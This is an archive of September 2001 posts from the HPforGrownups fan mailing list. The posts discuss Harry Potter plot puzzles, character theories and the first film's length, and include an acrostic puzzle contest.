    I think it must have something to do with blood ties. Mean and nasty they may be but the Dursleys are Harry's only remaining blood kin and the 'Ancient Magic' may require such a tie.   




From sgallag4 at hotmail.com  Mon Sep 17 02:40:00 2001
From: sgallag4 at hotmail.com (sgallag4 at hotmail.com)
Date: Mon, 17 Sep 2001 02:40:00 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o3nq0+n1ek@eGroups.com>

No: HPFGUIDX 26182

> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.

I suspect that among other things, Hagrid knows quite a lot about Snape 
and his Potter fixation.  I believe at one point in SS, when Harry et 
al. believe Snape is trying to kill Harry, and they tell Hagrid about 
the situation, Hagrid abruptly changes the conversation.  Harry notices 
that Hagrid has a funny look in his eye after Harry had mentioned that 
Snape hates him.

Additionally, Hagrid is Dumbledore's go-to man.  We've seen Hagrid keep 
Dumbledore's secrets, perform risky deeds for Dumbledore, etc.  Perhaps 
something Hagrid has done in the past for Dumbledore will be of crucial 
importance in a later book.

--Suz





From y_no_m at yahoo.com  Mon Sep 17 02:49:14 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Mon, 17 Sep 2001 02:49:14 -0000
Subject: Name Meanings (Hagrid)
In-Reply-To: <9o2slv+aem2@eGroups.com>
Message-ID: <9o3oba+kse6@eGroups.com>

No: HPFGUIDX 26183

>     I don't know about the nostalgia but Orpheus certainly did get 
by Cerberus by playing his lyre. On the other hand Psyche got by him 
with honeycakes so it may have been the magic of Orpheus' playing 
that got him by, not any special susceptibility to music on Cerberus' 
part.

It's definitely Orpheus' playing. Cerberus is much harder to get by 
than Fluffy. I wonder if Mrs. Rowling was thinking of that myth when 
she thought of the way to get by Fluffy. Or maybe she was just 
thinking of the saying that songs soothe the savage beast. In any 
case, I'm definitely thinking too much into it. Orpheus just came 
into mind when I read the post about Cerberus.

yen




From joym999 at aol.com  Mon Sep 17 02:59:42 2001
From: joym999 at aol.com (joym999 at aol.com)
Date: Mon, 17 Sep 2001 02:59:42 -0000
Subject: HP4GU Contest #14 -- for crossword fans
Message-ID: <9o3ouu+cve4@eGroups.com>

No: HPFGUIDX 26184

Welcome to HP4GU Contest #14.  This week's contest is an acrostic 
puzzle, also known as a double crossword.  I wrote this well over a 
year ago, but only recently got around to finishing it.  (Note: "well 
over a year ago" is a HINT, since GoF came out about a year ago.)  
This is a pretty hard puzzle, so I will give you a few weeks to work 
on it.  IMPORTANT NOTE:  In order to do this puzzle, you will have to 
download two files: the WORDLIST file and the DIAGRAM file.  These 
are available from me by email (send requests to HP4GUCon at aol.com) or 
in our files section at:

http://groups.yahoo.com/group/HPforGrownups/files/HP4GU%20Contest/

Note that both files are available in 2 formats: JPG (which you might 
be able to view and print directly from the website without 
downloading, depending on your browser) and WPD (a WordPerfect 8 file 
which just about any word processing software should be able to 
read).  If neither of these formats works for your weird computer, 
let me know and I will endeavor to find some other way of sending the 
files to you (by fax, if all else fails).

Your job is to EMAIL me (don't post to the list!) both the quote 
(from the diagram) and the phrase (from the word list).  I realize 
that this is all very confusing to someone who hasn't done acrostics 
before, but read the directions below and download (and print out) 
the two files, and if you still don't understand how to do this 
puzzle, email me at HP4GUCon at aol.com.

Acrostics are similar to crossword puzzles, but a little more 
complicated.  They have two parts: The Word List and The Diagram.  
The word list consists of a list of clues from which you have to 
determine words or phrases.  In this puzzle, about half the words or 
phrases have something to do with HP, and the rest are ordinary 
English words or phrases.  There are 40 clues, from Clue A to Clue 
NN, each followed by a number of blanks which correspond to the 
number of letters in the word or phrase.  If the clue refers to a 
phrase, the number of words is indicated.

There are two VERY IMPORTANT things you have to know about acrostics:

1. The number under each blank refers to a space in the diagram.  
Once you have figured out the word or phrase from the clue, write 
each letter in the appropriate space in the diagram.  Each space in 
the diagram has a letter printed in it, corresponding to the clue 
where that letter can be found.  Work back and forth between the 
clues and the diagram until all the spaces are filled in.  The 
diagram contains a quote from a Harry Potter book, without its 
punctuation.  Note that each of the words of the quote in the diagram 
has a black space after it.  Words may wrap from one row to the next, 
for example, the fifth word has two letters, and starts at the end of 
the first row and continues to the second row.

2.  The FIRST letter of each word or phrase found in the word list 
spells out a phrase which is relevant to the Harry Potter books.  In 
other words, the first letter of word A, followed by the first letter 
of word B, etc. spells out a phrase.

Just to give you a taste of the puzzle, here is a copy of the word 
list, without the numbers indicating where in the diagram each letter 
goes.:

A.	Unpopular vegetable:  __ __ __ __
B.	Vow: __ __ __ __
C.	The Moor of Venice: __ __ __ __ __ __ __
D.	Hagrid carries one in his pocket: __ __ __ __ __ __
E.	Subject: __ __ __ __ __
F.	Useful spell for getting rid of annoying poltergeists:
        __ __ __ __ __ __ __ __ __
G.	Strange: __ __ __
H.	Type of sandwich (3 wds.): __ __ __   __ __ __  __ __ __ __ __
I.	Reverence: __ __ __
J.	How Norbert likes his meat: __ __ __		
K.	Oldtime movie actor Basil: __ __ __ __ __ __ __ __
L.	__ __ __ __ __ - dabba - do		
M.	Made a sound: __ __ __ __ __ __
N.	Not this one but the __ __ __ __ __    __ __ __ (2 wds.)
O.	One of the most important courses at Hogwarts: 
	__ __ __ __ __ __ __ __ __ __ __ __ __ __ __
P.	Type of suit material: __ __ __ __ __
Q.	You could say that this "half-defines" Buckbeak:
        __ __ __ __ __ __
R.	Scabbers is one; Mickey is not: __ __ __
S.	If Harry had killed Pettigrew he would have
        __ __ __ __ __ __ __   __ __ __  death of his parents.
        (2 wds.)
T.	__ __ __ __ __ __   2000
U.	Wizard who discovered the twelve uses of dragon's blood:
         __ __ __ __ __ __ __ __ __ __
V.	Gregory Goyle hardly ever has one: __ __ __ __ __ __ __
W.	Keeper of the Keys and Grounds at Hogwarts:  __ __ __ __ __ __
X.	Eddie's real name, sometimes: __ __ __ __ __ __
Y.	Wallace's favorite food: __ __ __ __ __ __
Z.	Hello, in Texas: __ __ __ __ __
AA.	U's first name: __ __ __ __ __
BB.	What Crookshanks says: __ __ __ __
CC.	What only Harry could hear: __ __ __ __ __ __ __ __
DD.	Ravenclaw's symbol: __ __ __ __ __
EE.	Madam Hooch's Quidditch position: __ __ __ __ __ __ __
FF.	"My country `tis __ __   __ __ __ __"  (2 wds.)
GG.	The best broomstick: __ __ __ __ __ __ __ __
HH.	The most important Quidditch ball: __ __ __ __ __ __
II.	Book by J.K. Rowling's favorite author: __ __ __ __
JJ.	__ __ __ __ __  Creevey
KK.	__ __ __ __ __  Lupin
LL.	Recant (3 wds.): __ __ __   __ __ __'__   __ __ __
MM.	Number of chapters in the third Harry Potter book:
        __ __ __ __ __ __ - __ __ __
NN.	Believe gullibly: __ __ __ __ __ __ __




From saitaina at wizzards.net  Mon Sep 17 03:29:04 2001
From: saitaina at wizzards.net (Saitaina)
Date: Sun, 16 Sep 2001 20:29:04 -0700
Subject: [HPforGrownups] Re: MOVIE: length of movie
References: <9o323t+ecom@eGroups.com>
Message-ID: <002201c13f28$e7c9fa60$964e28d1@oemcomputer>

No: HPFGUIDX 26185

Hun, this close to release date all but the final cuts (editing for time, content...scenes everyone loves but must for some reason end up on the floor...) are done.  There's 60 days left till opening, they have to finish the cuts, screen it, studio screen it, sponsor screen it, send it our for pre-reviews, do select reviews AND get it into the theatres in time for November 16th.  Now while this doesn't seem like a lot, it's basically running around like a chicken with your head cut off.  If he hasn't done the director's cut by now I would seriously be freaking out about weather it's all going to be done in time for final release without skimping in promotions.
Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: caliburncy at yahoo.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Sunday, September 16, 2001 1:29 PM
  Subject: [HPforGrownups] Re: MOVIE: length of movie


  --- In HPforGrownups at y..., jacqbeagle at b... wrote:
  > Now I know I'm not quoting from the most reliable source but...
  > 
  > The News of the world is reporting that Harry Potter and the 
  > Philosopher's Stone is currently four hours long, and that Chris 
  > Columbus now has the task of making it shorter (because Warner Bros 
  > don't think that kiddies will be able to sit through it).

  Okay, I'm not a Hollywood expert (by no means), but as I understand it 
  (and please someone who knows better correct me if I'm wrong) this 
  four hour thing (which has been reported in several recent sources) is 
  getting mildly misinterpreted by a couple people.

  The four hours is *not* the current director's cut or anything 
  similarly 'final'-ish and right now Chris Columbus is working to make 
  it shorter for his *own* reasons, not WB's, at least not yet.  Once he 
  shortens it to his own cut (say perhaps, two-and-a-half to three hours 
  maybe, who knows?), WB will quite possibly tell him to shorten it 
  more.  :-(  Let's hope they don't.  But anyway, the four hours 
  probably includes stuff that Columbus himself would want to cut.  It's 
  not a final cut.  So once he makes a director's cut (which may end up 
  on the DVD), it will most likely be far shorter than four hours.  But 
  none of that will be unjust cutting at the hands of the studio execs, 
  it will be at the hands of general film editing, the kind that goes 
  into any movie.  Only the further cuts made to the director's cut will 
  be studio-mandated (probably to fit some superficial length quota).

  My rather layman's understanding of the different editing stages where 
  cuts are concerned is as follows (probably all with wrong names--I 
  don't know the correct Hollywood jargon):

  * Initial length of all filmed footage (except perhaps footage that 
  was immediately canned) (I think they're past this stage in the 
  editing process)

  * *Several* initial cuts (Somewhere in here is I think where the four 
  hours version fits in)

  * Director's cut (Not finished yet--may end up on the DVD, who knows?)

  * Final theatrical release cut (What we will see in the 
  theater--hopefully identical to the director's cut, but probably a bit 
  shorter)

  Anyway, I guess all I mean is don't make TOO much of the four hours.  
  Many of the cuts still to be made to it are simply for the sake of 
  good editing.  Only after they've made a more final cut will they have 
  to take things out to appease WB.

  Or something.  Like I said, if there's someone with a more "insider" 
  positioning please correct me.  I'm sure I've said something wrong or 
  misleading in the course of this post.

  -Luke, who would LOVE to see a four hour HP movie anyway (provided it 
  was good and not just long with no particular reason)


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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

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From joym999 at aol.com  Mon Sep 17 04:33:24 2001
From: joym999 at aol.com (Joy M)
Date: Mon, 17 Sep 2001 04:33:24 -0000
Subject: HP4GU Contest #14 -- for crossword puzzle fans
Message-ID: <9o3uek+t8bs@eGroups.com>

No: HPFGUIDX 26186

Welcome to HP4GU Contest #14.  This contest is an acrostic puzzle, 
also known as a double crossword.  I wrote this well over a year ago, 
but only recently got around to finishing it.  (Note: "well over a 
year ago" is a HINT, since GoF came out about a year ago.)  This is a 
pretty hard puzzle, so I will give you a few weeks to work on it.  
IMPORTANT NOTE:  In order to do this puzzle, you will have to 
download two files: the WORDLIST file and the DIAGRAM file.  These 
are available from me by email (send requests to HP4GUCon at aol.com) or 
in our files section at:

http://groups.yahoo.com/group/HPforGrownups/files/HP4GU%20Contest/

Note that both files are available in 2 formats: JPG (which you might 
be able to view and print directly from the website without 
downloading, depending on your browser) and WPD (a WordPerfect 8 file 
which just about any word processing software should be able to 
read).  If neither of these formats works for your weird computer, 
let me know and I will endeavor to find some other way of sending the 
files to you (by fax, if all else fails).

Your job is to EMAIL me (don't post to the list!) both the quote 
(from the diagram) and the phrase (from the word list).  I realize 
that this is all very confusing to someone who hasn't done acrostics 
before, but read the directions below and download (and print out) 
the two files, and if you still don't understand how to do this 
puzzle, email me at HP4GUCon at aol.com.

Acrostics are similar to crossword puzzles, but a little more 
complicated.  They have two parts: The Word List and The Diagram.  
The word list consists of a list of clues from which you have to 
determine words or phrases.  In this puzzle, about half the words or 
phrases have something to do with HP, and the rest are ordinary 
English words or phrases.  There are 40 clues, from Clue A to Clue 
NN, each followed by a number of blanks which correspond to the 
number of letters in the word or phrase.  If the clue refers to a 
phrase, the number of words is indicated.

There are two VERY IMPORTANT things you have to know about acrostics:

1. The number under each blank refers to a space in the diagram.  
Once you have figured out the word or phrase from the clue, write 
each letter in the appropriate space in the diagram.  Each space in 
the diagram has a letter printed in it, corresponding to the clue 
where that letter can be found.  Work back and forth between the 
clues and the diagram until all the spaces are filled in.  The 
diagram contains a quote from a Harry Potter book, without its 
punctuation.  Note that each of the words of the quote in the diagram 
has a black space after it.  Words may wrap from one row to the next, 
for example, the fifth word has two letters, and starts at the end of 
the first row and continues to the second row.

2.  The FIRST letter of each word or phrase found in the word list 
spells out a phrase which is relevant to the Harry Potter books.  In 
other words, the first letter of word A, followed by the first letter 
of word B, etc. spells out a phrase.

Just to give you a taste of the puzzle, here is a copy of the word 
list, without the numbers indicating where in the diagram each letter 
goes.:

A.	Unpopular vegetable:  __ __ __ __
B.	Vow: __ __ __ __
C.	The Moor of Venice: __ __ __ __ __ __ __
D.	Hagrid carries one in his pocket: __ __ __ __ __ __
E.	Subject: __ __ __ __ __
F.	Useful spell for getting rid of annoying poltergeists:
        __ __ __ __ __ __ __ __ __
G.	Strange: __ __ __
H.	Type of sandwich (3 wds.): __ __ __   __ __ __  __ __ __ __ __
I.	Reverence: __ __ __
J.	How Norbert likes his meat: __ __ __		
K.	Oldtime movie actor Basil: __ __ __ __ __ __ __ __
L.	__ __ __ __ __ - dabba - do		
M.	Made a sound: __ __ __ __ __ __
N.	Not this one but the __ __ __ __ __    __ __ __ (2 wds.)
O.	One of the most important courses at Hogwarts: 
	__ __ __ __ __ __ __ __ __ __ __ __ __ __ __
P.	Type of suit material: __ __ __ __ __
Q.	You could say that this "half-defines" Buckbeak:
        __ __ __ __ __ __
R.	Scabbers is one; Mickey is not: __ __ __
S.	If Harry had killed Pettigrew he would have
        __ __ __ __ __ __ __   __ __ __  death of his
	parents.  (2 wds.)
T.	__ __ __ __ __ __   2000
U.	Wizard who discovered the twelve uses of dragon's blood:
        __ __ __ __ __ __ __ __ __ __
V.	Gregory Goyle hardly ever has one: __ __ __ __ __ __ __
W.	Keeper of the Keys and Grounds at Hogwarts:  __ __ __ __ __ __
X.	Eddie's real name, sometimes: __ __ __ __ __ __
Y.	Wallace's favorite food: __ __ __ __ __ __
Z.	Hello, in Texas: __ __ __ __ __
AA.	U's first name: __ __ __ __ __
BB.	What Crookshanks says: __ __ __ __
CC.	What only Harry could hear: __ __ __ __ __ __ __ __
DD.	Ravenclaw's symbol: __ __ __ __ __
EE.	Madam Hooch's Quidditch position: __ __ __ __ __ __ __
FF.	"My country `tis __ __   __ __ __ __"  (2 wds.)
GG.	The best broomstick: __ __ __ __ __ __ __ __
HH.	The most important Quidditch ball: __ __ __ __ __ __
II.	Book by J.K. Rowling's favorite author: __ __ __ __
JJ.	__ __ __ __ __  Creevey
KK.	__ __ __ __ __  Lupin
LL.	Recant (3 wds.): __ __ __   __ __ __'__   __ __ __
MM.	Number of chapters in the third Harry Potter book:
         __ __ __ __ __ __ - __ __ __
NN.	Believe gullibly: __ __ __ __ __ __ __





From dfrankiswork at netscape.net  Mon Sep 17 08:42:57 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Mon, 17 Sep 2001 08:42:57 -0000
Subject: New JKR biography "exposes myths"
In-Reply-To: <025501c13e0c$db243f40$603570c2@c5s910j>
Message-ID: <9o4d2h+1098g@eGroups.com>

No: HPFGUIDX 26187

Neil Ward wrote:
> It's also mentioned that she has no middle
> name and took the name Kathleen from her grandmother (something 
I've heard
> before, somewhere).

She said it an interview or online chat.  I think her publishers 
believed a male-sounding author would sell better, and insisted on 
initials.  She only has one, J, so she had to make up another.  It 
seems to me to be typical of her that instead of just choosing a 
letter of the alphabet, she went for the full grandmother backstory. 
(Compare James Murray, editor of the Oxford English Dictionary, who 
called himself J.A.H. Murray, the A H not standing for anything)

I saw the book in Waterstones, BTW.

David




From snyderm at engr.sc.edu  Mon Sep 17 08:40:55 2001
From: snyderm at engr.sc.edu (Snyder, Meri)
Date: Mon, 17 Sep 2001 04:40:55 -0400
Subject: [HPforGrownups] PoA questions
Message-ID: <D8AB9C5548AED211928B0090273CDDD705789ABF@mailbox.engr.sc.edu>

No: HPFGUIDX 26188

I will try to speculate some answers for you. 

-----Original Message-----

< 1. In my book, and I don't know how this can't be a mistake, Black 
says to Pettigrew in the Shrieking Shack that Voldemort had been in 
hiding for 15 years (it's when Hermione asks why Pettigrew didn't 
touch Harry...I'm not sure the page #). But at this point, harry is 
13, and Voldemort has only been in hiding for 12, maybe 12 1/2 years. 
Is this in everyone's book, or do you think it's just a mistake? 
There are many things that point to and fro on this one...I'm 
inclined to think it's a mistake though. >

	I am not sure since I don't have my copy of PoA in front of me, but
don't they say nearly 15 (or something to that 	affect) years instead of an
exact number.  Also, although Harry is 13 in this book, towards the end he
is almost 14 	since this scene takes place at the end of the school year.
If this is so, V. has been in hiding for almost 13 years 	which
"rounding up" to the nearest 5 would be 15.  A lot of times I know that I
speak in "round" (meaning nearest 5 	instead of 10) and we know that JKR
is very realistic in her writing.

	Or else it could be a slight mistake.

2. If Lupin was studying the Marauder's Map before running out to the 
shrieking shack, why didn't he see a SECOND Harry Potter and Hermione 
Granger? As they were approaching the shack, the time-travelling H&H 
were on the grounds, in the woods with Buckbeak. We know that the 
time-travelling self is in that specific time frame because of the 
Patronus deal -- there are two Harrys by the lake -- and the (and 
this is an approx. quote) "they heard a last pair of feet run across 
the entrance hall and slam a door" [those feet are Hermione and 
Harry, time travelling.]. So there should be two Hermiones and two 
Harrys on the map. If he thought seeing Pettigrew on the map was 
strange, SURELY seeing two Harry/Hermiones would be stranger. Or 
maybe he just decided not to say anything about it...still...dodgy...

	Very good question.  The only answer I can think of was that he was
so suprised to see Peter that he didn't notice the 	second Harry and
Hermione. Yes, I very loose explanation, but there you have it.  Again,
maybe just an over sight.  	Dealing with time travel is a tricking
business, especially writing about it.  You have to think about all the
consequences in advance, as well as play philospher and scientist at the
same time.  I am willing to let JKR off the 	hook on this over sight.
 



____________________________________________________________

"I say to you all, once again--in the light of Lord Voldemort's return, we
are only as strong as we are united, as weak as we are divided. 
"Lord Voldemort's gift for spreading discord and enmity is very great.  We
can fight it only by showing an equally strong bond of friendship and trust.
Differences of habit and language are nothing at all if our aims are
identical and our hearts are open."

You *can* help. Visit www.redcross.org for details.

Questions, list-based or otherwise? contact your personal List Elf or the
Moderator Team at MagicalMods at yahoogroups.com.

Unsubscribing? Email hpforgrownups-unsubscribe at yahoogroups.com
____________________________________________________________
 

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/ 




From y_no_m at yahoo.com  Mon Sep 17 09:43:45 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Mon, 17 Sep 2001 09:43:45 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o2qsp+bv7i@eGroups.com>
Message-ID: <9o4gkh+i5ms@eGroups.com>

No: HPFGUIDX 26189

> Does anyone have any speculations about what secrets Hagrid may 
> harbor?  We've discussed Snape's past a gazillion times (but I like 
> it, Amanda!).  What about Hagrid?  I have no idea.
> 
> --jenny from ravenclaw 

A lot of important things happen that involves Hagrid. Gets into 
trouble in every book. Norbert in the first book. Accused of being 
Slytherin's heir in the second book. Buckbeak in the third book. In 
the fourth book, him being a half-giant.

Hagrid has more role in stories than Snape. I fully expect something 
will happen again to Hagrid in the fifth book.

yen





From vderark at bccs.org  Mon Sep 17 11:02:10 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Mon, 17 Sep 2001 11:02:10 -0000
Subject: Timeline
In-Reply-To: <9o350l+5j7s@eGroups.com>
Message-ID: <9o4l7i+9bhl@eGroups.com>

No: HPFGUIDX 26190

--- In HPforGrownups at y..., Universo985 at y... wrote:
> While I know the timeline is derived from Nick's 500th death day 
> there is a mistake in the first book. In SS nick hasn't eaten in 
> nearly 400 years yet in CoS it's his 500th deathday. So is this old 
> news, a mistake in my copy, does time flow differently for ghost.

I think time flows the same, they just tend to lose track as the 
decades and centuries roll by. NHN must be in error in one of the two 
statements. The first reference, the 400-year one was an offhand 
remark, is just said in passing. He didn't think it through at all. 
In fact, he may have used the phrase "almost four hundred years" to 
refer to himself for so long that he used it again this time without 
realizing it. The second reference is to his Deathday, a date he 
would certainly NOT forget, one he planned for and make a special 
note of. It's pretty hard to believe that he'd hold a party and make 
a big fuss about a date he just sort of remembered. I think we can 
safely accept the Deathday date as conclusive.

Steve Vander Ark
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon




From hsilven at cc.joensuu.fi  Mon Sep 17 11:02:56 2001
From: hsilven at cc.joensuu.fi (hsilven at cc.joensuu.fi)
Date: Mon, 17 Sep 2001 11:02:56 -0000
Subject: Hagrid's Mysterious Past
In-Reply-To: <9o3he0+6afo@eGroups.com>
Message-ID: <9o4l90+f3tn@eGroups.com>

No: HPFGUIDX 26191


> --- In HPforGrownups at y..., meboriqua at a... wrote:
> > 
> 
> I speculate that Hagrid's umbrella is made from the wands of James 
> and Lily Potter. Why? Hagrid and Sirius were the first ones to get 
to 
> Godric's Hollow. Hagrid pulled infant Harry from the wreckage. I 
> imagine that Hagrid found Lily's wand and James wand among the 
> carnage and kept them for Harry. It might also explain the 24 hour 
> time gap between Hagrid leaving Godric's Hollow and arriving at 
> Privet Drive (unless Hagrid stopped for a drink along the way). 
> 
> The magic Hagrid performs with the umbrella wasn't of the same low 
> caliber as Ron's broken wand magic in CoS. Hagrid's umbrella didn't 
> seem to malfunction as much and I don't think you can chalk it up to 
> Hagrid's experience with magic as he was expelled in his third year. 
> 
> Milz
 
 I really think that Hagrid's umbrella is made from the pieces of his 
own wand; In the scene where Harry is buying his wand Hagrid's 
gestures reveal where the pieces of his wand are. 
 About that 24 hour time gap; Would you fly with a giant motorcycle in 
daylight?
 About malfunctions; Ron's wand wasn't in perfect shape before it 
broke and it was his brother's old. (You never get as good results 
with somebody else's wand.)

 Heli
PS. This was my first message. I read the FAQ... but have a short 
memory.




From norbertschade at mediaone.net  Mon Sep 17 12:41:44 2001
From: norbertschade at mediaone.net (norbertschade at mediaone.net)
Date: Mon, 17 Sep 2001 12:41:44 -0000
Subject: Hogwarts map
Message-ID: <9o4r28+bod8@eGroups.com>

No: HPFGUIDX 26193

though new I've checked the FAQ. But I'm still searching for good 
maps about Hogwarts and its environment.
While the Lexicon is information on quite high level, I have my 
problems with these maps.
With input mainly based on the flight of Ron and Harry in the car to 
Hogwarts and when Harry and Hermione left the castle as time 
travellers I think the forest is to the west, the Womping Willow is 
closer to the forest than Hagrid's hut and I'm concerned about some 
more details.
Did I miss a piece of info? I'd like to know if this is discussed 
somewhere else in detail, as I'm a map freak.
Nobby




From mellienel2 at yahoo.com  Mon Sep 17 13:29:59 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 13:29:59 -0000
Subject: Timeline
In-Reply-To: <9o4l7i+9bhl@eGroups.com>
Message-ID: <9o4tsn+6bp4@eGroups.com>

No: HPFGUIDX 26194

another question about the deathday and ghosts in general...

anyone have theories on how he became the gryff ghost? there are 
plenty of ghosts, how does one become the Gryffindor, Ravenclaw, 
Hufflepuff, Slytherin ghost? Do you think we'll learn more about 
NHN's death?

m.




From mellienel2 at yahoo.com  Mon Sep 17 14:02:09 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 14:02:09 -0000
Subject: Hate to open an old wound, but...[night of J&L Potters' death]
Message-ID: <9o4vp1+sl06@eGroups.com>

No: HPFGUIDX 26195

...I was going through the lexicon essays (read: at work and bored), 
and I'm troubled...

>From the essay on the Infamous Halloween Night
>>Voldemort attempts to kill Harry Potter, but the spell backfires 
and the Dark Lord is hit. He is barely alive and his body is gone. He 
flees. (This spell never comes out of the wand, so we know that the 
spells that DO come out must have happened after this.) <<

We don't know this for sure. A spell isn't really cast if it doesn't 
work -- witness all the blind sparks that go flying when it misses 
its target. Whatever hit harry did cut his skin (had to be a spell, 
because of the suggestion of power behind JKR's choosing a Lightning 
Bolt scar), but then rebounded, destroying Voldy. Well -- at that 
point, the spell was just a mass of energy blindly hitting something 
(Voldemort). 

It's entirely possible that because the spell didn't succeed, it 
doesn't count as a real spell in Priori Incantatem. Say he cast an AK 
meant to kill Lily, and he missed, and then he cast it and was right 
on. Would Lily come out of the wand twice -- once as the intended 
victim, and once as the real victim? No -- the spell needs to have 
connected, to have the essence of its victim in the wand's history. 

If it only scratched Harry, it could have been just light, nothing 
really worth coming out of a wand -- after all, Wormtail uses Voldy's 
wand to make fire, and I'm sure does many little spells with it 
during the time in which he nursed Voldemort -- if those came out of 
the wand, they were little enough not to be noticeable. The 
unsucessful attack on Harry is like this -- an AK turned into a 
Scratch. As it only got a lightning-shaped part of harry, that's the 
most the wand has of him. Kill a person, you have their whole being, 
and that comes out of the wand.

Again -- I'm not saying it's not possible that it was someone else 
who killed J&L ith Voldy's wand (after all -- Pettigrew wasn't at his 
hiding spot when Sirius went to check on him, and it' sa little 
convenient that Pettigrew is good at making things blow up [muggle 
street, Potters' house...]), but it is definitely possible that it 
was Voldy. the Priori doesn't exclude this.

m




From mellienel2 at yahoo.com  Mon Sep 17 14:08:44 2001
From: mellienel2 at yahoo.com (mellienel2 at yahoo.com)
Date: Mon, 17 Sep 2001 14:08:44 -0000
Subject: PoA questions
In-Reply-To: <9o3m5s+c729@eGroups.com>
Message-ID: <9o505c+9u2b@eGroups.com>

No: HPFGUIDX 26196

> 2. If Lupin was studying the Marauder's Map before running out to 
the 
> shrieking shack, why didn't he see a SECOND Harry Potter and 
Hermione 
> Granger? As they were approaching the shack, the time-travelling 
H&H 
> were on the grounds, in the woods with Buckbeak. We know that the 
> time-travelling self is in that specific time frame because of the 
> Patronus deal -- there are two Harrys by the lake -- and the (and 
> this is an approx. quote) "they heard a last pair of feet run 
across 
> the entrance hall and slam a door" [those feet are Hermione and 
> Harry, time travelling.]. So there should be two Hermiones and two 
> Harrys on the map. If he thought seeing Pettigrew on the map was 
> strange, SURELY seeing two Harry/Hermiones would be stranger. Or 
> maybe he just decided not to say anything about 
it...still...dodgy...


...just noticed this is on the essays, but i can't find the original 
discussion on it. :-)

m.




From cynthiaanncoe at home.com  Mon Sep 17 14:20:32 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Mon, 17 Sep 2001 14:20:32 -0000
Subject: Amanda's Anniversary Posting
In-Reply-To: <3BA4CCB3.649D9364@texas.net>
Message-ID: <9o50rg+359n@eGroups.com>

No: HPFGUIDX 26197

--- In HPforGrownups at y..., Amanda Lewanski <editor at t...> wrote:
> 
> In solidarity with you newcomers, who never want to post that "Hi, 
I'm
> new" message---we all did, I did, and I post in full below my first
> missive to the list. Been there, done that.
> 
> 
Amanda,

That's not a bad first question.

Now, my first question was quite lame.  Some pitiful thing about 
Sirius' laughing after Pettigrew blew up the street in PoA.  Like I 
was the first to notice this.  Sheez!

Cindy (still lame, but being more quiet about it)




From caliburncy at yahoo.com  Mon Sep 17 14:24:45 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 17 Sep 2001 14:24:45 -0000
Subject: MOVIE: length of movie
In-Reply-To: <002201c13f28$e7c9fa60$964e28d1@oemcomputer>
Message-ID: <9o513d+s4j9@eGroups.com>

No: HPFGUIDX 26198

--- In HPforGrownups at y..., "Saitaina" <saitaina at w...> wrote:
> Hun, this close to release date all but the final cuts (editing for 
> time, content...scenes everyone loves but must for some reason end
> up on the floor...) are done.  There's 60 days left till opening, 
> they have to finish the cuts, screen it, studio screen it, sponsor 
> screen it, send it our for pre-reviews, do select reviews AND get it 
> into the theatres in time for November 16th.

Okay, point taken.  But what I meant was not that the final director's 
cut isn't finished now; I meant it was not finished at the time those 
articles were written (they basically say as much).  Sorry!

-Luke




From caliburncy at yahoo.com  Mon Sep 17 14:24:34 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Mon, 17 Sep 2001 14:24:34 -0000
Subject: MOVIE: length of movie
In-Reply-To: <002201c13f28$e7c9fa60$964e28d1@oemcomputer>
Message-ID: <9o5132+tsmo@eGroups.com>

No: HPFGUIDX 26199

--- In HPforGrownups at y..., "Saitaina" <saitaina at w...> wrote:
> Hun, this close to release date all but the final cuts (editing for 
> time, content...scenes everyone loves but must for some reason end
> up on the floor...) are done.  There's 60 days left till opening, 
> they have to finish the cuts, screen it, studio screen it, sponsor 
> screen it, send it our for pre-reviews, do select reviews AND get it 
> into the theatres in time for November 16th.

Okay, point taken.  But what I meant was not that the final director's 
cut isn't finished now; I meant it was not finished at the time those 
articles were written (they basically say as much).  Sorry!

-Luke




From aviationoutreachcoord at museumofflight.org  Mon Sep 17 15:20:58 2001
From: aviationoutreachcoord at museumofflight.org (Meredith Wilson)
Date: Mon, 17 Sep 2001 08:20:58 -0700
Subject: [HPforGrownups] MOVIE: Vanity Fair layout observations
Message-ID: <D8085AFE4BC7D4119EA00090271EDF1503C3C1@MAILSRV>

No: HPFGUIDX 26200

Got the Vanity Fair this weekend (thanks to those who suggested it!).  I
really enjoyed the layout.  Some comments...

**[SNIP]
**>Dame Maggie Smith is totally perfect.
**
**When isn't she?:-)
**
**>I know others disagree, but she has
**>always been the person whom I picture
**>as McGonagall. 
**
**Me too!
**[SNIP]

I have to agree with both points.  I adore her and I think she'll be
absolutely wonderful.

**[SNIP]
